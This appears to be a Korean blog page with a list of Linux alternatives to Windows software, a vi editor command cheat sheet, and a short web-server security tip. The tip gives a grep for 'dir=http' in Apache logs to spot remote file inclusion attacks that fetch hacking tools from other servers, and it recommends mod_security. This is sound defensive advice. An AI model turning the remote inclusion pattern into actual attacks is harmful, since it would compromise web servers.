    DVD Rip-O-Matic ( http://dvdripomatic.sourceforge.net )
    qVamps ( http://vamps.sourceforge.net/ )
    dvd::rip ( http://www.exit1.org/dvdrip/ )
    AcidRip ( http://untrepid.com/acidrip/ )
 
Everest
    HardInfo ( http://hardinfo.berlios.de/web/HomePage )
 
Finale
    Lilypond ( http://www.lilypond.org )
    Denemo ( http://denemo.sourceforge.net/index.html )
    Rosegarden ( http://www.rosegardenmusic.com/ )
    NoteEdit ( http://noteedit.berlios.de/ )
    Brahms ( http://brahms.sourceforge.net/ )
 
Flash
    F4L ( http://f4l.sourceforge.net/ )
 
Forte
    Agent Pan ( http://pan.rebelbase.com/ )
 
FruityLoops
    LMMS ( http://lmms.sourceforge.net/ )
    Hydrogen ( http://www.hydrogen-music.org/ )
 
Google Desktop Search
    Google Desktop ( http://desktop.google.com/linux/index.html )
    Beagle ( http://beagle-project.org/ )
 
Guitar Pro
    TuxGuitar ( http://www.tuxguitar.com.ar/home.html )
 
iTunes
    Banshee ( http://banshee-project.org/Main_Page )
    aTunes ( http://www.atunes.org/ )
    Quod Libet ( http://www.sacredchao.net/quodlibet )
    SongBird ( http://www.songbirdnest.com )
    Exaile ( http://www.exaile.org/ )
    Amarok ( http://amarok.kde.org/ )
    Listen ( http://listengnome.free.fr/ )
    Rhythmbox ( http://www.gnome.org/projects/rhythmbox/ )
    gtkpod ( http://www.gtkpod.org/ )
 
Legacy Family Tree
    GRAMPS ( http://gramps-project.org/ )
 
LimeWire
    FrostWire ( http://www.frostwire.com/ )
 
Meal Master
    krecipe ( http://krecipes.sourceforge.net/ )
    Gourmet Recipe Manager ( http://grecipe-manager.sourceforge.net/ )
 
Microsoft Access
    Kexi ( http://www.koffice.org/kexi/ )
    knoda ( http://www.knoda.org )
    GNOME-DB ( http://www.gnome-db.org/ )
 
Microsoft Excel
    KSpread ( http://www.koffice.org/kspread/ )
    Open Calc ( http://www.openoffice.org/product/calc.html )
    Gnumeric ( http://www.gnome.org/projects/gnumeric/ )
 
Microsoft Frontpage
    Quanta Plus ( http://quanta.kdewebdev.org/ )
    Nvu ( http://www.nvu.com/index.php )
    KompoZer ( http://www.kompozer.net/ )
    Bluefish ( http://bluefish.openoffice.nl/index.html )    
 
Microsoft HyperTerminal
    minicom ( http://alioth.debian.org/projects/minicom/ )
    GtkTerm ( http://freshmeat.net/projects/gtkterm/ )
 
Microsoft Internet Explorer
    Epiphany ( http://www.gnome.org/projects/epiphany/ )
    Opera ( http://www.opera.com/download/ )
    Firefox ( http://www.mozilla.com/firefox/ )
    Konqueror ( http://www.konqueror.org/ )
 
Microsoft Money
    KMyMoney ( http://kmymoney2.sourceforge.net/ )
    GNUcash ( http://www.gnucash.org/ )
    Gnofin ( http://gnofin.sourceforge.net/ )
    Grisbi ( http://www.grisbi.org/ )
 
Microsoft Office
    GNOME Office ( http://www.gnome.org/gnome-office/ )
    KOffice ( http://www.koffice.org/ )
    OpenOffice ( http://www.openoffice.org/ )
 
Microsoft OneNote
    BasKet ( http://basket.kde.org/ )
 
Microsoft Outlook (Express)
    Thunderbird ( http://www.mozilla.com/thunderbird/ )
    Evolution ( http://www.gnome.org/projects/evolution/ )
 
Microsoft Powerpoint
    Open Office Impress ( http://www.openoffice.org/product/impress.html )
    KPresenter ( http://www.koffice.org/kpresenter/ )
 
Microsoft Project
    KPlato ( http://www.koffice.org/kplato/ )
    OpenProj ( http://openproj.org/openproj )
    GanttProject ( http://ganttproject.sourceforge.net/ )
    Planner ( http://live.gnome.org/Planner )
    TaskJuggler ( http://www.taskjuggler.org/ )
 
Microsoft Visio
    Dia ( http://www.gnome.org/projects/dia/ )
    Kivio ( http://www.koffice.org/kivio/ )
 
Microsoft Windows Media Center
    Freevo ( http://freevo.sourceforge.net/ )
    Elisa Media Center ( http://www.fluendo.com/elisa/ )
    MythTV ( http://www.mythtv.org )
    LinuxMCE ( http://www.linuxmce.com/ )
 
Microsoft Word
    Open Office Writer ( http://www.openoffice.org/product/writer.html )
    AbiWord ( http://www.abisource.com/ )
    Kword ( http://www.koffice.org/kword/ )
 
mIRC
    Konversation ( http://konversation.kde.org/ )
    KVIrc ( http://www.kvirc.net/ )
    BitchX ( http://www.bitchx.org/ )
    Xchat ( http://www.xchat.org/ )
    ChatZilla! ( http://chatzilla.hacksrus.com/ )
    irssi ( http://www.irssi.org/ )
    Pidgin ( http://pidgin.im )
 
Mp3tag
    Kid3 ( http://kid3.sourceforge.net/ )
    Pinkytagger ( http://pinkytagger.sourceforge.net/ )
    EasyTAG ( http://easytag.sourceforge.net/ )
    Cowbell ( http://more-cowbell.org/ )
    Audio Tag Tool ( http://pwp.netcabo.pt/paol/tagtool/ )
 
MSN messenger
    Mercury Messenger ( http://www.mercury.to/ )
    Kopete ( http://kopete.kde.org/ )
    aMSN ( http://amsn-project.net/ )
    Pidgin ( http://pidgin.im )
 
Mudbox
    SharpConstruct ( http://sharp3d.sourceforge.net )
 
Nero Burning Rom
    X-CD-Roast ( http://www.xcdroast.org/ )
    Brasero ( http://perso.orange.fr/bonfire/index.htm )
    GnomeBaker ( http://gnomebaker.sourceforge.net/ )
    Graveman! ( http://graveman.tuxfamily.org/ )
    K3b ( http://www.k3b.org/ )
 
NetMeeting
    Ekiga ( http://www.gnomemeeting.org/ )
 
NetStumbler
    Kismet ( http://www.kismetwireless.net/ )
    SWScanner ( http://www.swscanner.org/ )
 
NewzCrawler
    RSSOwl ( http://www.rssowl.org/ )
    Liferea ( http://liferea.sourceforge.net/ )
    BasKet ( http://basket.kde.org/ )
    Akregator ( http://akregator.kde.org/ )
    Blam ( http://www.cmartin.tk/blam.html )
    Straw ( http://www.gnome.org/projects/straw/ )
 
Notepad
    leafpad ( http://tarot.freeshell.org/leafpad/ )
    NEdit ( http://www.nedit.org/ )
    jEdit ( http://www.jedit.org/ )
    Kate ( http://kate-editor.org/ )
    gedit ( http://www.gnome.org/projects/gedit/ )
    Scribes ( http://scribes.sourceforge.net/ )
    tpad ( http://tclpad.sourceforge.net/ )
 
OrangeCD Catalog
    GWhere ( http://www.gwhere.org )
 
Origin
    SciGraphica ( http://scigraphica.sourceforge.net/ )
 
Partition Magic
    Partimage ( http://www.partimage.org/Main_Page )
    GParted ( http://gparted.sourceforge.net/ )
    QtParted ( http://qtparted.sourceforge.net )
 
    Picasa F-Spot ( http://f-spot.org/Main_Page )
    KPhotoAlbum ( http://www.kphotoalbum.org/ )
    digiKam ( http://www.digikam.org/ )
 
Pro Tools
    Ardour ( http://www.ardour.org )
 
Quicken
    KMyMoney ( http://kmymoney2.sourceforge.net/ )
    GNUcash ( http://www.gnucash.org/ )
    Gnofin ( http://gnofin.sourceforge.net/ )
    Grisbi ( http://www.grisbi.org/ )
 
SoulSeek
    Nicotine ( http://nicotine.thegraveyard.org/ )
    Nicotine-Plus ( http://nicotine-plus.sourceforge.net/ )
 
SoundForge
    ReZound ( http://rezound.sourceforge.net/ )
 
TexnicCenter 
Total Commander
    GNOME Commander ( http://www.nongnu.org/gcmd/ )
    xfe ( http://roland65.free.fr/xfe/ )
    Tux Commander ( http://tuxcmd.sourceforge.net/ )
    Midnight Commander ( http://www.ibiblio.org/mc/ )
    Krusader ( http://krusader.sourceforge.net/ )
 
Traktor
    DJ Mixxx ( http://mixxx.sourceforge.net/ )
 
Videora
    thin liquid film ( http://thinliquidfilm.org/ )
 
Winamp
    Audacious ( http://audacious-media-player.org/Main_Page )
    Amarok ( http://amarok.kde.org/ )
    XMMS ( http://www.xmms.org/ )
 
Windows Media Player
    KPlayer ( http://kplayer.sourceforge.net/ )
    VideoLAN ( http://www.videolan.org/ )
    xine ( http://xinehq.de/ )
    mplayer ( http://www.mplayerhq.hu/design7/news.html )
 
Windows Movie Maker
    PiTiVi ( http://www.pitivi.org/wiki/Main_Page )
    LiVES ( http://lives.sourceforge.net/ )
    Open Movie Editor ( http://openmovieeditor.sourceforge.net/HomePage )
    Avidemux ( http://fixounet.free.fr/avidemux/ )
    Cinelerra ( http://cvs.cinelerra.org/ )
    kdenlive ( http://kdenlive.sourceforge.net/ )
 
WinIso ISO
    Master ( http://littlesvr.ca/isomaster/ )
    KIso ( http://kiso.sourceforge.net/ )
 
WinMerge
    KDiff3 ( http://kdiff3.sourceforge.net/ )
    Meld ( http://meld.sourceforge.net/ )
    xxdiff ( http://furius.ca/xxdiff/ )
    Kile ( http://kile.sourceforge.net/ )
 
WinTV
    XdTV ( http://xawdecode.sourceforge.net/ )
    tvtime ( http://tvtime.sourceforge.net/ )
 
WS_FTP
    gFTP ( http://gftp.seul.org/ )
    FireFTP ( http://fireftp.mozdev.org/ )
 
Zbrush
    SharpConstruct ( http://sharp3d.sourceforge.net )
 
ZoneAlarm
    Guarddog ( http://www.simonzone.com/software/guarddog/ )
    Firestarter ( http://www.fs-security.com/ )
2009/04/12 17:40 2009/04/12 17:40
-- 하드디스크를 털다보니 예전에 공부할때 썻던게 보이네요..
-- 그냥 가져다 붙여놓은것인지.. 편집을한것인지.. 원작자는 모릅니다..ㅡㅜ
-- 어째튼 vi 때문에 고민하시는 분들께는 도움이될지도 모른다는생각에 공개합니다.
-- 글을올리고나니 쫌 깨지는부분이 있어서 txt 파일로도 첨부합니다.(훨씬깨끗.ㅡㅡ)
---------------------------------------------------------------------------------------------------------------------

vi 에디터 
            1 Cursor 위치를 변경하는 명령들
            2 vi 명령들
            3 자세한 정보를 가져 오려면...
             
  명령을 잘 활용하는 방법은 'man' 명령을 이용하는 것입니다.
  UNIX 명령에 좀 익숙 하신분들은 'man' 명령을 활용 하십시오.
 
1.
                      vi Cursor Positioning 
    - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -
    :1G (go                                                            :
    :                      /\  ^b (back                                :
    :                      ||                    /\  ^u (up          :
    |----------------------||--------------------||--------------------|
    |H (home                                                          |
    |                              k                  O (open        |
    |I            i (insert        /\    a (append    P (put        A |
    |                              |                                  |
    |O <--------- h <-------  you are here  -------> l -------------->$|
    |                              |                                  |
    |M (middle    (backspace      \/    (space bar    p(put          |
    |                              j                  o (open        |
    |            Y (yank                        /string              |
    |                                            n repeat last search |
    |L (last                                      . repeat last command|
    |----------------------||--------------------||--------------------|
    :                      ||                    \/  ^d (down        :
    :                      \/  ^f (forward                            :
    :\$G (go                                                          :
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  - - - - "
 
 
2. vi 명령들 
                  1 Cursor를 옮기는 여러가지 방법
                  2 화면을 옮기는 여러가지 방법
                  3 한 화면 안에서 cursor를 옮기는 방법
                  4 한 line 안에서 cursor를 옮기는 방법
                  5 검색 
                  6 vi를 빠져나가는 방법 
                  7 삽입 mode 
                  8 Yanking : (Copying
                  9 Deleting 
                10 Putting 
                11 Interactive edit : (search and replace
                12 Global 명령
                13 Reading in files 
                14 여러 화일의 edit
                15 Miscellancenous commands 
 
1 Cursor를 옮기는 여러가지 방법 
                                      k(-
                                        /\ 
                                        ||
                        h(bs    <-----      ----->  l(sp
                                        ||
                                        \/
                                      j(+
        h,j,k 와 i 를 이용하영 간단히 키보를 누르면 cursor의 위치가 변 
        경됩니다.
        (에 있는 키를 선택하여도 됩니다.
        bs : BackSpace                      sp : SPace bar "
 
2 화면을 옮기는 여러가지 방법 
                  ^f  -  (FORWARD 화면을 one page 앞으로 옮김
                  ^b  -  (BACKWARD 화면을 one page 뒤으로 옮김
                  ^d  -  (DOWN 화면을 반 page 앞으로 옮김
                  ^u  -  (UP 화면을 반 page 뒤으로 옮김
              ^  는 키보드의 ctrl 를 나타내는 것입니다."
 
3 한 화면 안에서 cursor를 옮기는 방법 
            H  -  HOME, 한 화면의 top line으로 옮긴다.
            M  -  MIDDLE, 한 화면의 중간으로 옮긴다.
            L  -  LAST, 한 화면의 마지막  line으로옮긴다.
            G  -  GOTO,  화일의 마지막  line으로 옮긴다.
            nG -  GOTO nth line the file (or :n
            ^G -  GIVES file status 
              ^  는 키보드의 ctrl 를 나타내는 것입니다."
 
4 한 line 안에서 cursor를 옮기는 방법 
                      w  -  WORD, 한단어 앞으로
                      b  -  BACKWARD, 한단어  뒤로
                      e  -  END, 현재 cursor가 위치한 맨 뒤로
                      o  -  zero, line의 맨 앞으로 (or ^
                      $  -  end, line의 맨뒤로"
 
5 검색 
        /pattern -  scan (/ 'pattern'이라는글자를 현재 cursor가
                    위치한 곳의 다음 단어를 검색
        ?pattern -  scan (? 'pattern'이라는 글자를 현재 cursor가
                    위치한 곳의 앞 단어를 검색
        n    -  앞쪽에서 입력했었던 문자 'pattern' 의 다음단어를 검색
        N    -  앞쪽에서 입력했었던 문자 'pattern' 의 다음 앞 단어를 
                  검색"
 
6 vi를 빠져나가는 방법 
          :q!  -  화일의 내용을 저장하지 않고 exit
          :w  -  WRITE, vi를 빠져나가지 않으면서 내용을 저장
          :wq  -  WRITE and QUIT, vi를 빠져나가면서  내용을 저장
          ZZ  -  :wq의 명령과 같다."
 
7 삽입 mode 
            i  -  INSERT, cursor 위치 부터 문자 삽입
            I  -  INSERT, line의 맨 앞부터 문자 삽입
            a  -  APPEND, cursor 다음 위치 부터 문자 삽입
            A  -  APPEND, cursor 위치한 line의 끝부터 문자 삽입
            o  -  OPEN line, 현재의 line 다음에 line 삽입
            O  -  OPEN line, 현재의 line 앞에 line 삽입
            r  -  REPLACE, 한 문자만을 대치 (does not require ESC
            R  -  REPLACE, ESC 키가 입력될때 까지 대치 
            cw  -  CHANGE word, cursor가 위치한 곳의 단어 끝까지 대치
                    (cnw - change n number of words
            C  -  CHANGE, cursor가 위치한 곳에서 line 끝까지 대치
            u  -  UNDOES, 마지막 명령의 취소
            U  -  UNDOES, line전체를 원 상태로 복구
Note :  INSERT mode 를 만든는 모든 문자(i, a, o,r, c, s <대문자 포
        함>를 사용하는 경우 insert mode에서 입력 한 내용을  취소하고
        자 하면, ESC 를 누르고 undo를 수행하는 u를 입력하면 된다.
Note :  ESC (escape key 는 삽입(insert를 중지 시키고 명령어 mode로 
        돌아가는 키이다."
 
8 Yanking : (Copying 
        Y  -  YANKS (copies line을 사용자가 보이지 않는 buffer에 저장
        yy -  YANKS (copies line을 사용자가 보이지 않는 buffer에 저장
        nY -  YANKS n , n line을 사용자가 보이지 않는 buffer에 저장"
 
9 Deleting 
        x  -  deletes, 문자 하나를 삭제 (also 'd sp'
        dw  - DELETES words, 문자 하나를 삭제 
        D  -  DELETES, cursor가 있는 곳에서 부터 line끝 까지 삭제 
        dd  -  DELETES lines, line하나를 삭제 하고 보이지 않는 buffer
              에 저장
        ndd -  DELETES n, n line을 삭제 하고 보이지 않는 buffer에 저장
              (i.e., 10dd deletes 10 lines"
 
10 Putting 
        p  -  PUTS, cursor가 위치한 다음 line에 보이지 않는 buffer의
              내용을 삽입
        P  -  PUTS, cursor가 위치한 앞 line에 보이지 않는 buffer의
              내용을 삽입
        xp -  cursor 가 위치한 문자와 다음 문자를 교환"
 
11 Interactive edit : (search and replace 
        /pattern -  find, pattern이라는 문자를 검색
        cw      -  change word, 단어를 대치 (cw. dw, r, s, etc.
        n        -  find, 앞에서 검색했던 'pattern'이라는 문자를 검색
                    하는 반복 명령
        N        -  find, 앞에서 검색했던 'pattern'이라는 문자를 역순
                    으로 검색 하는 반복 명령"
 
12 Global 명령 
                Global replacement 
                :1,\$s/string1/string2/g
                1 line부터 끝까지 string1 를 string2 로 대치
        e.g.,  :1,\$s/sun/SUN/
                      Global delete 
                :g/pattern/d
                1 line부터 끝까지 pattern 을 제거
        e.g.,  :g/###/d (to delete lines inserted by cc file.c | & 
                error-v"
 
13 Reading in files 
        :r  file2 - cursor가 위치한 다음 line에 file2를 삽입"
 
14 여러 화일의 edit 
        :w      -  다른 화일을 읽기전에 현재의 화일을 저장 (file1
        :e file2  -  두번째 file을 edit하기 위해 load (file2
        :w      -  두번째 화일을 저장 (file2
        :e #    - original file 을 수정하기 위해 load (file1
        example:w              /* file1을 빠져 나가기전에 저장*/
                :e file2        /* file2 load  */
                        \"x4Y  /* buffer 'x'에 file2의 top 4 line을 
                                  저장 */
                :e #            /* file1 을 load (no changes */
                        \"xP    /* buffer 'x'에 저장 되어 있는 내용을 
                                  put */"
 
15 Miscellancenous commands 
        :! cmd  -  editor안에서 shell command를 수행 하고자 할때
        ~      -  (tilde or 'wavy', 대문자를 소문자로 소문자를 대문자
                    로 교환
        %      -  한 line안에서 (,,{,},[,]를 검색
        mx      -  문자 x에 현재 위치를 표시
        d'x    -  문자 x에 표시된 위치 부터 현재 cursor 위치 까지 삭
                    제
        ^V      -  allows for insertion of control characters (e.g., 
                  ^L
        ?string -  scan (/ backward for 'pattern'
        :n,m w file -  n line에서 m line까지 내용을  file 이라는 이름 
                      으록 (e.g., 15,25 w file
        J      -  JOINS, cusor가 있는 line과 다음 line을 join 
        :set ai -  editor 가 자동적으로 insert tabs을 삽입
        :set list -  special characters 를 보여줌
                    (i.e., non-printable characters
        :set nows -  stop wraparound search
        :set ts=n -  set tab stops to be other than the default (8
        :set wm=n -  set wrap margin (automatic carriage return insert 
                    at n"
2009/04/12 17:36 2009/04/12 17:36
만약
 웹서버의 로그 파일이
 /var/log/httpd 폴더에 있다면

 아래와 같은 find 명령어로
 해킹 및 침투 흔적을 찾아 보세요


 find /var/log/httpd -type f -print | xargs grep 'dir=http'


 만약 수두룩하게 로그 기록이 화면에 표시 된다면
 서버 어딘가에 백도어 및 해킹툴이 숨겨져 있을 가능성이
 매우 높습니다.

 물론 로그 파일에서 'dir=http' 라는 내용이 꼭 해킹의 흔적은 아닙니다만
 90% 이상의 웹 해킹이 .. 저런식으로 해서 다른 서버에 있는 해킹툴을 가져오거나
 프로그램을 실행하고 .. 그러더군요


 이런식의 해킹, 특히 최근에(아직까지도) 가장 흔한 제로보드 해킹을 막으려면
 mod_security 라는 모듈을 아파치에 설치 해서 사용하시면
 매우 유용합니다.

 mod_security 설치 및 사용법은
 인터넷 침해사고 대응 지원 센터 홈페이지  http://www.krcert.or.kr/index.jsp
 에서

 [ 공개 웹 방화벽을 이용한 홈페이지 보안 ] 을 참고 하세요
2009/04/12 17:28 2009/04/12 17:28